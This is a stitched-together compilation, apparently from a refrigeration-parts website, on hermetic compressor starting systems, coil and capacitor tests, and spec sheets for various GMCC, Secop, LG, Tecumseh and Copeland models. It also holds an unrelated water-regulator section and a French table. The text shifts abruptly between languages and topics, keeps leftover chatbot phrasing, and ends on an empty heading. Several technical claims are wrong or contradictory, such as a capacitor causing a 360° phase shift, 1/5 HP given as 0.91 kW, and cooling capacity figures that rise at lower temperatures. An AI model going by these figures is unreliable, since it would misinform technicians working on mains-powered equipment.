En el caso del relé de arranque, cuando la energía es aplicada al compresor, la bobina solenoide del relé atrae la armadura del mismo para arriba produciendo el cierre de los contactos, energizando la bobina de arranque del motor. Cuando el motor del compresor alcanza la velocidad de funcionamiento, la corriente de la bobina principal del motor será tal que la bobina solenoide del relé desenergiza permitiendo que los contactos del relé se abran, desconectando de esta manera la bobina de arranque del motor.
The PTC is a semiconductor with a positive temperature coefficient, which means that it offers no resistance to the passage of current when the unit is cold. When the unit is turned on, the current passing through the PTC causes it to heat up rapidly, creating such a high resistance in its circuit that the passage of current remains at a very low value but high enough to keep the PTC warm.
Prerequisites for using the PTC system:
– The thermostat must be used to ensure that the stop time allows for pressure equalisation in the system. – Depending on the size of the compressor, the stop period should be at least 3 to 5 minutes (e.g. the minimum times for TL are 3 minutes, and for SC 5 minutes).
The PTC system offers a number of advantages:
– Improved protection of the starter coil – PTC is not affected by voltage increases or decreases – Free from radio and television interference – No wear – Identical PTC starter system for many compressors of different sizes.
LST (low starting torque) engines
Compressors with RSIR and RSCR system motors have a low starting torque (LST) and are used in refrigeration appliances with capillary tubes, where pressure equalization takes place before each start.
The RSIR system incorporates a PTC thermistor or a relay and a bifilar winding (current relay) as starting equipment. The PTC needs to be kept off for a period of about 5 minutes to allow it to cool down before it can restart.
RSCR (Resistant Start Capacitor Run): Induction motor with resistor start and run capacitor.
The RSCR system, consisting of a PTC thermistor and a run capacitor, is mainly used in energy-optimized compressors.
HST (High Starting Torque) Engines
Compressors with CSIR and CSR type motors have a high starting torque (HST) and can be used in refrigeration appliances with capillary tubes as well as in systems with expansion valve operation (without pressure equalization).
– CSR (Capacitor Start Run): Induction motor with start capacitor and run capacitor
CRS systems require a voltage relay, a start capacitor and a run capacitor.
– CSIR (Capacitor Start Induction Run): Induction motor with starting capacitor.
The CSIR system consists of the starting relay and starting capacitor specified for each particular compressor type.
Graphic summary:
Conditions for a long service life
To achieve trouble-free operation and long service life of the hermetic compressor, the following conditions must be met:
1. The starting torque must be sufficient to enable the motor to start under the prevailing pressure conditions in the system. 2. The maximum torque of the motor must be sufficient to enable the motor to withstand the load conditions at start-up and during running. 3. During operation of the refrigeration system, the temperature of the compressor must never rise to levels that could damage its components. Condensation and compression temperatures must therefore be kept as low as possible. 4. Correct sizing of the refrigeration system in question, and a correct assessment of the operating conditions of the compressor under maximum loads. 5. Sufficient cleanliness and minimum residual moisture in the system.
Engine overload
The motor start-up is determined by the starting torque and/or the maximum torque of the motor. If the starting torque or the maximum torque are insufficient, the compressor cannot start or the start-up will be hindered and delayed due to the activation of the internal motor protector.
Repeated starting attempts subject the motor to overload, which will sooner or later result in failure. It is all a matter of selecting the right compressor for extreme working conditions.
Thermal overload
To ensure a long compressor life, operating conditions that lead to thermal decomposition of the materials used in the compressor must be avoided. The materials involved are coolant, oil and materials for motor insulation. Motor insulation consists of enamel for the copper winding, insulation for the stator core slot, insulating tape and power cables.
The R 134a, R 404A or R 507 refrigerants used today require advanced oils. Only special quality POE oils (polyester) are used.
For the application of compressors in domestic and commercial refrigeration devices with the refrigerants that are currently available, it is advisable to comply with the following rules.
Coil temperature
The coil temperature must never exceed 125°C during continuous operation. For limited periods of time, e.g. during compressor start-up or in case of short load peaks, the temperature should not exceed 135°C.
For commercial refrigeration with R 134a, the same values apply as for domestic refrigeration. However, cooling the compressor by means of a fan is recommended.
Condensation temperature
When using R 600a or R 134a refrigerants, the condensation temperature during continuous operation must not exceed 60°C. During short load peaks, the temperature must not exceed 70°C.
In commercial refrigeration where R 404A and R 507 refrigerants are used, the condensation temperature limit is 48°C during continuous operation and 58°C during peak loads.
Checking the compressor coils.
We must take into account that we are going to check an electromechanical part since it has an electrical part that makes another mechanical part work and it is necessary to carry out several types of tests to be able to determine if it is damaged and if it is possible to find out which part of the compressor is damaged. For these tests we will need measuring tools and a little expertise since in some we will use the senses, we will divide the tests into two parts, one when it is installed and the other when the compressor is alone without being installed.
Measure continuity between the compressor coils:
For this test we will need a tester that measures continuity, we will have to disconnect the compressor cables, the test consists of verifying that there is continuity between the compressor terminals and measuring two by two we verify if there is no continuity in these terminals, we must take into account the temperature of the compressor, if it is cold the coil is open (damaged), if the compressor is hot we must wait for it to cool down because it may be that the thermal switch is open due to high temperature and we perform the test again.
If you are disconnected or off the computer, this test is performed in the same way.
Test if the amperage is too high:
For this test we will need a clamp meter and we will place it in one of the compressor lines, either the common one, preferably the start (maintenance) line, it should not be placed on the start-up line because it will not give us the measurement we need to check, we must know the normal working amperage of the compressor, start it, wait for it to stabilize, at start-up it normally consumes 5 times the working amperage, we wait for it to stabilize and if it is above that indicated on the plate it is too high in amperage, in this case we will have to check, capacitor, ventilation, pressures, voltage tension, to determine if it is because of the compressor or an external cause. If the compressor is disconnected from the equipment and the amperage exceeds that indicated it is a sign that it is damaged and we should not install it.
Determine if compressor pumps well:
Pressure test: it is not advisable to measure the output pressure, however there are technicians who when buying a used compressor usually measure the high pressure, if it exceeds 300 psi the compressor is fine and if when turning it off the pressure is maintained without it returning, it is an excellent sign that everything is fine, it is not low on compression since the valves do not return pressure, this test is not performed on rotary compressors because they work with the pressure and temperature of the same compressor to reach the normal working refrigerant gas pressure.
If the compressor is installed when measuring with the pressure gauge and registering that the high pressure does not rise and the low pressure is very high, it is a sign of decompression. If it is a rotary equipment, we look at the suction filter that is located at the compressor inlet to see if it freezes. If it is frozen it is due to obstruction. If, upon observing this, everything is normal, it is most likely that the pressures are destabilized due to low compression. Another sign is that the amperage with the low pressure high and the high pressure low will show a consumption well below normal since it is not exerting force to maintain a high pressure in the condenser.
Determine if the compressor is seized:
For this we need to use the ammeter or clamp meter when trying to start the having a suitable capacitor and in good condition it should not exceed the starting amperage which is 5 times the nominal or working amperage, if it exceeds it is a sign that it is blocked, we can use an additional starting aid to the capacitor and if with this the result is the same (taking into account that the voltage is normal) we will determine that the compressor is seized and it is necessary to replace it.
When I mention at the beginning that we should use our senses, I mean that if we are testing a compressor and we notice a strange noise when starting it, this is not a good sign, and if it is already in full operation and sounds unusual, it is a bad sign, as well as looking at the part where the cables are connected to the compressor, since this is a seal that sometimes gets damaged and allows oil to leak, be attentive and verify that the filter that is fixed by a belt in the case of rotary compressors is not subject to this belt being damaged, since it also produces noise, refrigerant gas leaks and vibrations, these are details that we should be very attentive to.
Note: We should always try to exhaust every last resource to determine if a compressor is damaged, because if we are technicians and they seek a second opinion, and it works in the hands of the second opinion, the client will think the worst of us and our reputation will be in jeopardy, and if the compressor is our property, we should also exhaust all resources, since it is the most expensive part of our air conditioning, both its individual price and the expenses generated in labor and materials for its installation. We must be very clear that it no longer works for ourselves and for others.
Checking the starting capacitor.
To test a starting capacitor in a simple way, we simply connect it in series with an incandescent light bulb and supply it with AC voltage. We will also complement the assembly with a normally open push button like the one used in doorbells, which we will connect in parallel with the capacitor according to the following diagram.
Calculation of the starting capacitor capacity:
Many refrigeration compressors are single-phase motors. The problem with supplying a motor with 230 V, with a single phase, means that the torque needed for starting is not generated. To “trick” the motor and generate a fictitious phase, a capacitor is used that shifts the supply voltage by 90º. In this way, we will have the necessary starting torque. To obtain the best and most powerful starting torque of the single-phase motor, which will result in the refrigeration compressor working better and with more force and not jamming… the capacity of the capacitor that obtains this 90º phase shift must be calculated.
It is not true that the larger the capacitor, the greater the starting torque of the single-phase motor. The only thing that is obtained is a greater phase shift, which will produce a lower starting torque of the single-phase motor. In fact, if the capacitor is too large, it may happen that the phase shift is 360º, that is, 0º, so that the single-phase motor would have no starting torque. In any case, capacitors with a higher or lower capacity than necessary will generate phase shifts lower or higher than the optimum, which will result in starting torque values lower than the optimum. Starting with starting torque lower than the optimum can result in our single-phase motor burning out; it has to make more effort than necessary to start, the intensity increases and the motor burns out, which would end up being damaged.
The highest starting torque for the single-phase motor is obtained when the phase shift we obtain with our capacitor is 90º. To obtain this phase shift we will proceed to calculate the capacitor of a single-phase motor in the following way.
Suppose we have an engine with the following characteristics
Power 150 W Working voltage 230 V. Frequency 50 Hz. Cosine of phi = 0.85
Applying the formula, the capacitance is 10.61 microfarads.
Therefore, the optimal ideal capacitor for the single-phase motor in the example is 10.61 uF, as 10.61 micro Farads is a capacitor value that we cannot find on the market, we will choose to buy the value that is closest in this case 10 micro Farads.
Refrigerant Type: R134a (a common refrigerant used in cooling systems)
Application: Refrigerator/Freezer
Volume/Capacity: 598 liters (L)
Weight: 180 grams (g)
Type: LBP (Low Back Pressure, typically used for refrigeration applications)
This compressor is likely designed for use in a refrigerator or freezer unit, with a cooling capacity suitable for a 598-liter appliance. The refrigerant used is R134a, which is common in domestic refrigeration systems. If you’re looking for a replacement part or technical specifications, ensure the model numbers (LC95LAEH, GR-P227KGJ) match your appliance.
A water pressure regulator is a device used in water systems to reduce and adjust the pressure of water coming from the source (such as a public water supply) to a safe and constant level suitable for domestic or industrial use.
Importance of a Water Pressure Regulator:
Protecting Pipes and Appliances:
Prevents damage caused by high water pressure that may affect plumbing systems and appliances such as washing machines and water heaters.
Reducing Water Consumption:
Reduces excessive water flow, helping to conserve water and lower bills.
Improving Performance:
Ensures a consistent water flow, enhancing the efficiency of appliances and providing a better user experience.
Extending System Lifespan:
Prevents excessive pressure that may cause leaks or damage to pipes and fittings.
Components of a Water Pressure Regulator:
Pressure-Reducing Valve:
The part responsible for reducing water pressure to the desired level.
Internal Spring:
Controls the pressure and ensures it remains stable at the set value.
Pressure Gauge:
Displays the current pressure level (available in some models).
Inlet and Outlet:
Connections that link the regulator to the water source and the pipes leading to the point of use.
Types of Water Pressure Regulators:
Fixed Regulator:
Reduces pressure to a specific, non-adjustable level.
Adjustable Regulator:
Allows the user to adjust the pressure according to their needs.
Integrated Water Pressure Regulator:
Includes additional features such as a pressure gauge or an internal filter.
How to Choose the Right Water Pressure Regulator:
Water Pressure at the Source:
Determine the incoming water pressure to select a regulator that suits the current pressure.
Type of Use:
Choose a regulator suitable for domestic or industrial use.
Construction Materials:
Ensure the regulator is made of corrosion-resistant materials such as brass or stainless steel.
Pipe Size:
Make sure the connection size is compatible with your water pipes.
Advantages of Using a Water Pressure Regulator:
Reducing the Risk of Bursts:
Prevents pipe damage due to sudden high pressure.
Maintaining Stable Water Flow:
Provides consistent water pressure for appliances and daily use.
Saving on Bills:
Helps reduce water consumption, lowering costs.
Reducing Noise:
Minimizes noise caused by high-speed water flow in pipes.
Maintenance and Common Issues:
Clogged Filter:
Accumulation of sediment and debris can cause blockages. Clean the filter regularly.
Damaged Internal Spring:
The spring may lose its elasticity over time, affecting the regulator’s performance. Replace it if necessary.
Water Leaks:
Ensure connections are tightly sealed and replace damaged rubber seals.
Unstable Pressure:
This may be due to a damaged valve or spring. Inspect the regulator and replace faulty parts.
Maintenance Tips:
Regularly inspect the regulator to ensure it is functioning efficiently.
Clean the internal filter every 6 months or as needed.
Check for leaks in the connections.
Replace the regulator if it is significantly damaged or unable to maintain pressure.
Conclusion:
A water pressure regulator is an essential device for protecting water systems and household appliances from high pressure. By choosing the right type and performing regular maintenance, you can ensure a safe and consistent water flow while saving on costs and extending the lifespan of your systems.
Danfoss Relay Connection Diagram for the Electric Compressor in Refrigeration Systems
Below is a detailed explanation of the components and connection diagram of the Danfoss relay for the electric compressor used in refrigeration systems:
1. Components of the Diagram
Compressor:
The compressor is the heart of the refrigeration system, responsible for compressing the refrigerant (freon) and circulating it through the system.
Relay:
The relay is used to provide additional electrical current to the start terminal (S) of the compressor, helping it start smoothly.
Capacitor:
The capacitor improves the compressor’s torque during startup, reducing the load on the electric motor.
Electrical Circuit Diagram:
The diagram shows how the compressor terminals (C, S, R) are connected to the relay, capacitor, and power source.
2. Compressor Terminal Connections
C (Common):
The common terminal connected to both the run and start windings.
R (Run):
The terminal responsible for continuous operation of the compressor after startup.
S (Start):
The terminal responsible for starting the compressor with the help of the relay and capacitor.
3. Steps to Connect the Relay to the Compressor
A. Connecting the Capacitor:
The capacitor is connected between the S (Start) terminal and the R (Run) terminal to support startup torque.
B. Connecting the Relay:
Terminals 10 and 11:
Connected to the power source and the run resistor.
Terminals 12 and 13:
Connected to the compressor terminals: S (Start) and C (Common).
C. Power Supply:
The circuit is powered by a 110V or 220V source (depending on the system used).
4. How the Relay Works
When power is connected, the relay sends additional current to the start terminal (S) via the capacitor.
Once the compressor starts running, the relay automatically cuts off the current to the start terminal.
The compressor continues to operate through the current flowing to the run terminal (R).
5. Importance of Correct Relay Connection
Compressor Protection:
Ensures safe compressor operation during startup.
Energy Saving:
The relay cuts off the startup current after operation to avoid overload.
Performance Improvement:
Helps stabilize compressor operation.
6. Verification Steps After Connection
A. Checking Terminal Connections (C, R, S):
Use a resistance meter (ohmmeter) to verify correct terminal connections.
B. Testing the Relay:
Ensure the relay sends startup current when powered.
C. Testing the Capacitor:
Measure the capacitor’s capacitance (microfarads) using a capacitor tester.
D. Running the Compressor:
Start the system and check for stable compressor operation.
Listen for noise: If it is loud, there may be a connection error.
7. Common Faults and Solutions
A. Compressor Fails to Start:
Cause: Faulty relay or capacitor.
Solution: Test the relay and capacitor and replace them if necessary.
B. Compressor Runs Briefly and Stops:
Cause: High current or excessive load.
Solution: Ensure the external capacitor is clean and there is proper airflow around the unit.
C. Incorrect Connection:
Cause: Swapped terminals (C, R, S).
Solution: Use a resistance meter to accurately identify the terminals.
8. Important Tip
Ensure:
Terminals are connected correctly according to the diagram.
Use a capacitor that matches the compressor’s specifications.
Test the relay before installation to ensure no internal damage.
Conclusion
Correctly connecting the Danfoss relay is crucial for ensuring safe and efficient compressor operation in refrigeration systems. Follow the diagram carefully and perform the necessary tests to avoid malfunctions and improve system performance.
The GMCC PZ80E1F and its related models are mini refrigeration compressors widely used in various cooling applications. Here’s a summary of the specifications and features for the PZ80E1F along with its comparable models:
GMCC PZ80E1F Specifications
Model: PZ80E1F
Horsepower: 1/5 HP
Cooling Capacity: Approximately 137W to 147W
Refrigerant: R600a, suitable for low back pressure (LBP) applications.
Voltage/Frequency: 220V-240V / 50Hz.
Displacement: 8.0 cm³/rev.
Weight: Approximately 7 kg.
Related Models
GMCC PZ80E1D
Similar specifications to the PZ80E1F, often used in similar applications.
GMCC PZ80E1C
Also shares comparable features, focusing on energy efficiency and compact size.
GMCC PZ80E1A
Designed for low power consumption with a similar cooling capacity and refrigerant type.
GMCC PZ80E1Z
Another variant that maintains similar performance metrics.
GMCC PZ80H1Z and PZ80H1Y
These models may offer different horsepower ratings or slight variations in cooling capacity but are generally aligned with the specifications of the E1 series.
Summary Table
Model
Horsepower
Cooling Capacity
Refrigerant
Voltage/Frequency
PZ80E1F
1/5 HP
137W – 147W
R600a
220V/50Hz
PZ80E1D
Similar
Similar
R600a
220V/50Hz
PZ80E1C
Similar
Similar
R600a
220V/50Hz
PZ80E1A
Similar
Similar
R600a
220V/50Hz
PZ80E1Z
Similar
Similar
R600a
220V/50Hz
PZ80H1Z
Similar
Similar
R600a
220V/50Hz
PZ80H1Y
Similar
Similar
R600a
220V/50Hz
These compressors are highly efficient and suitable for various refrigeration systems, particularly in domestic and light commercial applications.
The SECOP FR7GH (103G6683) is a hermetic reciprocating compressor designed for refrigeration applications, particularly those utilizing the refrigerant R134a. Here are the detailed specifications and features:
Specifications
Model: FR7GH
Part Number: 103G6683
Refrigerant: R134a
Power Rating: Approximately 1/5 HP
Voltage:
220-240V at 50/60Hz
208-230V at 60Hz
Displacement: 6.88 cm³ (0.42 in³)
Cooling Capacity:
Approximately 1320 BTU/h at +20°F
Approximately 2537 BTU/h at +45°F
Operating Temperature Range: Suitable for medium to high back pressure (M/HBP) applications cooling.
Oil Type: Polyolester oil (POE)
Applications
The FR7GH compressor is commonly used in various refrigeration systems, including:
Commercial refrigeration units
Air conditioning systems
Maintenance
Regular maintenance of the compressor is essential for optimal performance and longevity. This includes checking refrigerant levels, ensuring proper oil levels, and inspecting electrical connections.
Type : Compresseur BLDC (moteur à courant continu sans balais)
Technologie : Onduleur (Inverter)
Phase et Tension : 115/220V
Cylindrée : 8,82 cm³
Chevaux Vapeur (HP) : 1/6 CV
Réfrigérant : R600a
Matériau : Acier
Avantages : Technologie Inverter pour une meilleure efficacité énergétique et régulation de la vitesse.
Comparaison Technique
Caractéristique
MBSM.PRO LG CMA110NJJM
Samsung MSV488A-L1R
Technologie
Classique (vitesse fixe)
Inverter (vitesse variable)
Type de Compresseur
RCSB
BLDC (sans balais)
Puissance
170 kcal / 198 W / 1/4 CV
1/6 CV
Réfrigérant
R600a
R600a
Phase et Tension
1 phase / 220V / 50Hz
115/220V
Application
LBP (Basse Pression de Vapeur)
Efficacité énergétique grâce à l’Inverter
Vitesse
Fixe
Variable
Matériau
Non spécifié
Acier
Analyse Comparée
Technologie Inverter vs Vitesse Fixe : Le compresseur Samsung MSV488A-L1R utilise la technologie Inverter, ce qui lui permet d’ajuster automatiquement sa vitesse pour optimiser la consommation énergétique, contrairement au LG CMA110NJJM, qui fonctionne à vitesse fixe.
Efficacité énergétique : Le compresseur Samsung est plus efficace en raison de la technologie BLDC et Inverter, offrant une meilleure gestion de la consommation d’énergie. Le compresseur LG, en revanche, est plus traditionnel avec une vitesse fixe.
Usage recommandé : Le modèle LG est plus adapté aux applications nécessitant une pression basse et une puissance fixe, tandis que le Samsung Inverter est recommandé pour ceux qui recherchent des économies d’énergie grâce à la régulation de la vitesse.
The LG CMA110NJJM compressor is a classic model that operates on a single phase with a voltage of 220V and a frequency of 50Hz. It boasts a fixed speed and is powered by a 1/4 HP motor. This compressor is perfect for applications requiring a steady and reliable performance.
Energy Efficiency
Energy efficiency is a crucial factor when choosing a compressor. The LG CMA110NJJM excels in this area with an impressive energy consumption of 198 watts. It provides 170 kcal of cooling capacity and 676 BTU/h, ensuring optimal performance without excessive energy usage.
Refrigerant Type
The compressor uses R600a refrigerant, which is known for its environmental friendliness and efficiency. R600a is a hydrocarbon refrigerant that has a low global warming potential, making it a sustainable choice for modern applications.
LBP (Low Back Pressure)
One of the standout features of the LG CMA110NJJM is its low back pressure (LBP) design. This feature ensures that the compressor operates smoothly and efficiently, even under demanding conditions. The LBP design helps in maintaining consistent performance and reducing wear and tear.
Applications
The LG CMA110NJJM compressor is versatile and can be used in a variety of applications, including:
Refrigeration Systems: Ideal for domestic and commercial refrigerators and freezers.
Air Conditioning: Suitable for small to medium-sized air conditioning units.
Cooling Solutions: Perfect for cooling solutions in various industrial and commercial settings.
Why Choose LG CMA110NJJM?
Reliability: LG is a trusted brand known for its high-quality products. The CMA110NJJM compressor is no exception, offering reliable performance and durability.
Efficiency: With its energy-efficient design and low back pressure feature, this compressor ensures optimal performance with minimal energy consumption.
Environmental Friendliness: The use of R600a refrigerant makes it an eco-friendly choice, contributing to a greener environment.
Versatility: Suitable for a wide range of applications, making it a versatile addition to your cooling and refrigeration systems.
Conclusion
The LG CMA110NJJM compressor is a top-tier product that combines efficiency, reliability, and environmental friendliness. Whether you need it for refrigeration, air conditioning, or other cooling solutions, this compressor is a smart investment. Upgrade your systems with the LG CMA110NJJM compressor and experience the difference in performance and efficiency.
For more information or to purchase the LG CMA110NJJM compressor, visit Mbsm.pro today!
the 105G6731 is a model number for a tropical compressor manufactured by Secop, which is part of Danfoss. Here are the key specifications and details related to this compressor:
Specifications
Model: 105G6731
Type: Hermetic compressor
Refrigerant: R134a
Voltage: 220-240V
Frequency: 50 Hz
Power Output: Approximately 1/5 HP (0.91 kW)
Approvals: Complies with EN 60335-2-34 standards
Applications
This compressor is designed for use in various refrigeration applications, particularly in tropical environments where higher ambient temperatures may be encountered. It is suitable for:
Commercial freezers
Ice makers
Air conditioning systems
Performance Characteristics
The 105G6731 operates efficiently under low back pressure conditions and is designed to handle a range of cooling demands. It is noted for its durability and reliability in demanding applications.
Tecumseh AE2410YS Compressor: Specifications and Applications
The Tecumseh AE2410YS is a versatile compressor designed for light commercial refrigeration applications. Known for its efficiency and reliability, this model is ideal for various cooling needs in commercial settings.
Key Specifications
Feature
Specification
Model
AE2410YS
Power
1/3 HP (approximately 250 W)
Refrigerant
R-134A
Voltage
220V
Type
Reciprocating Compressor
Weight
Approximately 45 lbs (20.4 kg)
Application Type
LBP (Low Back Pressure)
Cooling/Freezing
Primarily for Cooling Applications
Utilization
Commercial refrigeration, display cases, vending machines, and small walk-in coolers
Efficiency
Designed for effective cooling with reasonable energy consumption
Applications
The Tecumseh AE2410YS is primarily utilized in commercial refrigeration systems. Its low back pressure design makes it suitable for:
Display Cases: Keeping products at optimal temperatures while maintaining visibility.
Vending Machines: Ensuring beverages and snacks are kept cool and fresh.
Small Walk-in Coolers: Providing reliable cooling solutions for food storage in restaurants and convenience stores.
Conclusion
The Tecumseh AE2410YS compressor stands out in the market for its efficiency and adaptability in various cooling applications. Its design caters to the needs of commercial refrigeration, making it a preferred choice among professionals in the industry. For more information on this model or to explore other refrigeration solutions, visit our website or contact us directly. Feel free to make any adjustments or let me know if you need additional information included!
Danfoss offers a diverse range of compressors suitable for commercial refrigeration, including:
Scroll Compressors: Known for their efficiency and low noise levels, these compressors are ideal for applications like display cabinets and cold rooms.
Reciprocating Compressors: These are designed for both low and high-temperature applications, providing versatility in commercial settings.
Screw Compressors: Primarily used in industrial refrigeration systems, these compressors offer high efficiency and a broad capacity range.
Danfoss compressors are compatible with various refrigerants, including traditional options like R404A and R134A, as well as more environmentally friendly alternatives such as R290 (propane) and R1234yf. These innovations help meet stringent energy regulations globally
Tecumseh created the world’s first hermetic compressor for the commercial refrigeration industry in the 1930s and created our reputation as a pioneer of refrigeration solutions. Today, our offerings reach much further than hermetic compressors.
Tecumseh is a global manufacturer of hermetic reciprocating and rotary compressors. We supply to applications to include; Domestic, light commercial, commercial along with air conditioning and heat pumps.
Refrigerant capabilities are numerous with suitability for HFC, HFO and HC options. Tested and compliant to all applicable standards Tecumseh represents quality, best in class efficiency, robust design and proven long life. A compressor that will not let you down, or your customer.
The 1/5 HP compressor is a common type of refrigeration compressor used in various applications, particularly for domestic refrigerators and commercial refrigeration systems. Here are some key specifications and details based on the search results:
Power Rating: 1/5 HP (approximately 0.15 kW).
Refrigerants: Typically used with R134a or R600a refrigerants.
Cooling Capacity: Varies by model, but often around 120W to 160W depending on the specific design and application.
Applications: Suitable for low back pressure systems, commonly found in beer coolers, dehumidifiers, and domestic refrigerators.
The LG GR-B392RQCC is a refrigerator-freezer model with the following specifications:
Specification
Details
Model
GR-B392RQCC
Total Gross Volume
364L
Compressor Type
Smart Inverter Compressor
Compressor Power
1/5 hp
Refrigerant
R134a (125g)
Rated Current
1.4 A
Power Supply
1 Phase, 220V
This model features a smart inverter compressor, which enhances energy efficiency and cooling performance. The total gross volume of 364 liters provides ample space for food storage
Copeland compressor can be used for low/medium and high temperature. These compressors are from Copeland China factory.
DWM Copeland™ Compressors are suitable For a wide range of applications either in the form of single compressors, condensing units or as multi-compressor equipment
Cooling Capacity at Standard Condition 2.67kWR404A, Evaporating -35° C, Condensing 40° C, Suction Gas Return 20° C, Sub cooling 0K
Mechanical Data Number of cylinders2.0Displacement @ 50 Hz, cu. M/h18.2 Bore/Stroke, mm60.4/36.5Length/Width, mm470/330 Height, mm385.0Net Weight, kg87.0 Gross Weight, kg93.0Suction, inch1 1/8 Discharge, inch5/8Oil Quantity, l2.0 Frequency Range, Hz25 – 60Base mounting (hole dia), mm295 x 279 (14.0) Sound Pressure @ 1m, dBA63.1Sound Power, dBA74.1 High Side PS, bar(g)28.0Low Side PS, bar(g)22.5 Electrical Data Maximum Operating Current, A9.5Locked Rotor Current, A68.5 Default Enclosure ClassIP 54 (IEC 34) Accessories Mounting Springs4 Additional Cooling1 or 2 ways water Coil Crankcase Heater70W Internal Additional Cooling70W Vertical Air Flow Fan Additional Cooling25W Horizontal Air Flow Fan Adapter KitFor Parallel Operation InverterControl Techniques SKB 3400750
the D110C21RAZ5 compressor presented in a table format:
Specification
Details
Model
D110C21RAZ5
Power
1/3 horsepower (298 watts)
Displacement
11 cm³
Cooling Capacity
256 kcal/h (1017 BTU/h)
Refrigerant Type
R134a
Motor Type
RSCR / RSIR
Voltage and Frequency
220V / 50Hz
Application
Low Back Pressure (LBP)
This table summarizes the key specifications and features of the D110C21RAZ5 compressor, making it easy to reference for various refrigeration applications.
The SECOP DLE4CNT (102H4460) compressor is a versatile refrigeration unit designed for various cooling applications. Below is a detailed overview of its specifications, performance metrics, and applications.
SECOP DLE4CNT (102H4460) Compressor Overview
Key Specifications
Model: DLE4CNT
Order Code: 102H4460
Refrigerant: R290 (propane)
Power Supply: 220-240V, 50Hz
Displacement: 4.00 cm³
Cooling Capacity:
Low Back Pressure (LBP) Freezing:
1/4 HP (approximately 193W) at -23.3°C
Medium High Back Pressure (MHBP) Semi-Freezing:
3/8 HP (approximately 341W) at -6.7°C
High Back Pressure (HBP) Cooling:
5/8 HP (approximately 516W) at 7.2°C
Performance Metrics
Input Power:
LBP Freezing: 191W at -23.3°C
MHBP Semi-Freezing: 338W at -6.7°C
HBP Cooling: 516W at 7.2°C
Horsepower Ratings:
LBP: Approximately 1/4 HP
MHBP: Approximately 3/8 HP
HBP: Approximately 5/8 HP
Applications
The SECOP DLE4CNT compressor is suitable for a variety of refrigeration applications, including:
Domestic refrigerators
Freezers
Commercial refrigeration systems
Combination refrigeration units
Heat pumps
Features and Benefits
Energy Efficiency: The compressor is engineered to provide effective cooling while maintaining low energy consumption, which is beneficial for both residential and commercial use.
Eco-Friendly Refrigerant: Utilizing R290, a natural refrigerant, the DLE4CNT complies with modern environmental standards by having a low global warming potential.
Versatile Performance: This compressor operates efficiently across different temperature ranges, making it adaptable for various refrigeration needs.
Conclusion
The SECOP DLE4CNT (102H4460) compressor stands out as a reliable and efficient solution for diverse cooling applications. Its use of eco-friendly refrigerants and robust performance metrics make it an excellent choice for both residential and light commercial refrigeration systems.
The EGYS110CLC compressor has a power rating of 1/3 HP (horsepower) and is designed for low-temperature applications. Here are some key specifications related to its horsepower and performance:
Key Specifications
Model: EGYS110CLC
Type: Hermetic Reciprocating Compressor
Horsepower: 1/3 HP (approximately 0.25 kW)
Power Supply: 220-240 V, 50 Hz .
Refrigerant: R-600a (Isobutane)
Cooling Capacity:
At -30°C: 263 W
At -25°C: 241 W
At -20°C: 307 W
At -15°C: 387 W
At -10°C: 486 W
Efficiency
The compressor has a Coefficient of Performance (COP) of approximately 1.83 at its rated conditions, indicating good energy efficiency
This compressor is suitable for various refrigeration applications, such as ice makers and beverage coolers, where reliable low-temperature operation is essential.
The LQ119NAEM compressor’s cooling capacity can vary depending on the source. According to some references, it is rated at approximately 227 watts for low back pressure (LBP) applications, while other sources, such as mbsm.pro, indicate a capacity of around 178 watts. This discrepancy may arise from different testing conditions or specifications provided by various manufacturers or distributors.
Key Specifications
Model: LQ119NAEM
Type: Linear Compressor
Power Rating: Approximately 1/3 horsepower (HP)
Cooling Capacity:
227 watts
774 btu
Displacement: 11.9 cc/rev
Refrigerant: R600a (Isobutane)
Rated Voltage: 220-240 V
Frequency: 50 Hz
Evaporating Temperature: -23.3°C
Condensing Temperature: 54.4°C
Applications
The LQ119NAEM is suitable for medium to large-sized refrigerators and freezers, as well as commercial refrigeration systems. Its design allows it to operate efficiently while maintaining a low noise level.
Model：SC21G Refrigerant：R134A Power：220-240V/50/60HZ Back Pressure:Low/High Power Source: AC Power
Description
We take ‘Quality Standards, Innovation, Continuous Improvement, Customer Satisfaction’ as our quality policy, take the recruitment of talents as the foundation of the enterprise, and regard improving product quality as our mission. We provide you with a one-stop service for Tecumseh Piston Compressor For Air Conditioning, 30HP Copeland Semi-hermetic Compressor, DIXELL Controller For Compressor at a reasonable price. Welcome domestic and foreign customers to call and negotiate. We also continuously innovated and improved our enterprise management system to improve efficiency, providing professional, reliable and high-quality products to serve customers around the world. If you pursuit the Hi-quality, Hi-stable, Competitive price parts, company name is your best choice! We are dedicated to the satisfaction of customers and try to meet their different requirements, sample orders are accepted.
Hot sales R134a SECOP Piston Compressors SC21G
Product introduction
SECOP Hermetic Piston Compressors
Model：SC21G
Refrigerant：R134A
Power：220-240V/50/60HZ
Back Pressure:Low/High
Power Source: AC Power
Voltage range[V]:187- 254
Evaporating temperature [F]：-25 to -5
Transport Package: Wood Package
Product feature
Model
Electric Source
Power(HP)
Capacity(W)
Refrigerant
Back Pressure
SC15CM
220V-240V 50Hz
1/2HP
375
R22
Low
SC18CM
220V-240V 50Hz
5/8HP
469
R22
Low
SC15D
220V-240V 50Hz
5/8HP
469
R22
High
SC15G
220V-240V 50Hz
3/8HP
281
R134a
Low/High
SC18G
220V-240V 50Hz
1/2HP
375
R134a
Low/High
SC21G
220V-240V 50Hz
5/8HP
469
R134a
Low/High
SC10CL
220V-240V 50Hz
1/3HP
250
R404A
Low
SC15CL
220V-240V 50Hz
1/2HP
375
R404A
Low
TL5G
220V-240V 50Hz
R134A
Low/High
Product Application
Cold storage, frozen food processing and storage, quick freezing cold storage, low temperature shelf, ice cream machine, showcase, chiller, large integrated air conditioning, laboratory and medical equipment, cold dryer, glass door commercial freezer, vending machine, Ice machine, beverage cabinet, heat pump, milk cooling tank, etc.
Start capacitors are critical components in refrigeration and air conditioning systems, particularly for Embraco compressors. They provide the necessary boost in torque to start the compressor, especially in applications where high starting torque is required.
Functionality of Start Capacitors
Increased Starting Torque: Start capacitors are designed to deliver a surge of energy to the compressor motor during startup, which is essential for overcoming inertia and initiating operation1.
Support for Larger Compressors: They are particularly beneficial for larger, single-phase compressors, as they help reduce the amp draw on startup, preventing potential damage and inefficiencies
Components Related to Start Capacitors
In addition to start capacitors, several other components work in conjunction with them to ensure the efficient operation of compressors:
Start Relay: Engages the compressor when cooling is needed and disconnects it once the desired temperature is reached
Overload Protector: Safeguards the compressor by disconnecting power before damage occurs due to overheating or overloading
Run Capacitor: While start capacitors assist during startup, run capacitors enhance running efficiency by providing a continuous boost to the motor during operation
Importance of Using Original Parts
